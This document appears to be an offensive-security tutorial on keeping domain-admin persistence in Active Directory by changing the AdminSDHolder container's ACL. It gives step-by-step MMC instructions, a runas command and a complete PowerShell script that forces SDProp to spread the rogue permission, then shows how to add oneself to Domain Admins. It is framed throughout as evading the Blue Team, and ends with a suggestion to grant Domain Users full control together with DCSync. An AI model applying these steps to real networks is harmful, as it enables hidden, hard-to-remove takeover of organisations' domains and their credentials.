Access Control List

Required Privileges: Administrators - Remote Desktop Protocol (RDP)

In order to ensure a Good Persistence and make the detection for the Blue Team Harder, we can Inject into the Templates that generate the Default Groups. By Injecting into these Templates, even if the Blue Team remove our Membership, we just need to Wait until the Template Refreshes, and we will once again be granted Membership.

One such Template is the AdminSDHolder Container. This Container exists in every AD Domain, and its Access Control List (ACL) is used as a Template to copy Permissions to all Protected Groups. Protected Groups include Privileged Groups such as Domain Admins - Administrators - Enterprise Admins - Schema Admins etc...

A process called SDProp takes the ACL of the AdminSDHolder Container and Applies it to all Protected Groups every 60 Minutes. We can thus Write an ACE that will grant us Full Permissions on all Protected Groups.

If the Blue Team is not aware that this type of Persistence is being used, it will be really Hard to Pinpoint the Source. Every time they Remove the Inappropriate Permission on the Protected Object or Group, it reappears within the Hour. Since this Reconstruction occurs through normal AD Processes, it would also not show any Alert to the Blue Team, making it Harder to pinpoint the Source of the Persistence.

Persisting with AdminSDHolder

In order to deploy our Persistence to the AdminSDHolder, we will use Microsoft Management Console (MMC). We can RDP as a Low-Privileged User and use the runas Command to Inject the Administrator Credentials, and then execute MMC from this New Terminal.

:: This will Pop-Up a Prompt that will ask for the Credentials
runas /netonly /user:Administrator cmd.exe

:: In the New Terminal we can Execute [MMC]
mmc

• Microsoft Management Console (MMC):
  • Click File ➜ Add/Remove Snap-In...
  • Add the Active Directory Users and Groups Snap-In.
  • Click View ➜ Advanced Features
  • We can find the AdminSDHolder Group under Domain ➜ System
  • Right Click AdminSDHolder Group and Select Properties ➜ Security

• Now let's add our Low-Privileged User and grant Full Control:
  • Click Add.
  • Search for our Low-Privileged Username and click Check Names.
  • Click OK.
  • Click Allow on Full Control.
  • Click Apply and OK.

SDProp

Now we just need to wait 60 Minutes, and our User will have Full Control over all Protected Groups. This is because the Security Descriptor Propagator (SDProp) Service executes automatically every 60 Minutes and will propagate this change to all Protected Groups.

We can either Wait or Transfer this Powershell Script to the Target Domain and Execute it which will Trigger the SDProp Service.

PSH

Set-ExecutionPolicy Bypass -Scope process -Force
Import-Module .\Invoke-ADSDPropagation.ps1

# Run the Script
Invoke-ADSDPropagation

PSH Script

Function Invoke-ADSDPropagation{ 
    <#
    .SYNOPSIS
        Invoke a SDProp task on the PDCe.
    .DESCRIPTION
        Make an LDAP call to trigger SDProp.
    .EXAMPLE
        Invoke-ADSDPropagation

        By default, RunProtectAdminGroupsTask is used.

    .EXAMPLE
        Invoke-ADSDPropagation -TaskName FixUpInheritance

        Use the legacy FixUpInheritance task name for Windows Server 2003 and earlier.
    .PARAMETER TaskName
        Name of the task to use.
            - FixUpInheritance for legacy OS
            - RunProtectAdminGroupsTask for recent OS
    .INPUTS
    .OUTPUTS
    .NOTES
        You can track progress with:
        Get-Counter -Counter '\directoryservices(ntds)\ds security descriptor propagator runtime queue' | Select-Object -ExpandProperty CounterSamples | Select-Object -ExpandProperty C
ookedValue
    .LINK
        http://ItForDummies.net
    #>
    [CmdletBinding()]
    Param(
        [Parameter(Mandatory=$false,
            HelpMessage='Name of the domain where to force SDProp to run',
            Position=0)]
        [ValidateScript({Test-Connection -ComputerName $_ -Count 2 -Quiet})]
        [String]$DomainName = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain().Name,

        [ValidateSet('RunProtectAdminGroupsTask','FixUpInheritance')]
        [String]$TaskName = 'RunProtectAdminGroupsTask'
    )

    try{ 
        $DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('domain',$DomainName)
        $DomainObject = [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext)

        Write-Verbose -Message "Detected PDCe is $($DomainObject.PdcRoleOwner.Name)."
        $RootDSE = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$($DomainObject.PdcRoleOwner.Name)/RootDSE")
        $RootDSE.UsePropertyCache = $false
        $RootDSE.Put($TaskName, "1") # RunProtectAdminGroupsTask & fixupinheritance
        $RootDSE.SetInfo()
    }
    catch{
        throw "Can't invoke SDProp on $($DomainObject.PdcRoleOwner.Name) !"
    }
}

Now our Low-Privileged User should have Full Control over the Group. We can Verify that this will continue to Propagate by Removing our User from the Security Permissions and Rerunning the PowerShell Script or by waiting 60 Minutes. Our User will be added again.

Now, although we have Permissions to Modify the Domain Admins Group, it does not Automatically add us to the Group. However, using our new Permissions, we can add ourselves to this Group.

• Microsoft Management Console (MMC):
  • Right-Click on Domain ➜ Find...
  • Search Domain Admins in the Name Field.
  • Right-Click on Domain Admins ➜ Properties ➜ Members ➜ Add...
  • Search for our Username and click Check Names.
  • Click OK.
  • Click Apply and OK.

Side Note

If we really want to Persist, we can grant Full Control to the Domain Users Group in the AdminSDHolder Group, which means any Low-Privileged user would be granted Full Control over all Protected Groups. Combining this with a full DC Sync means the Blue Team will have to Reset every single Credential in the Domain to Flush us out Completely.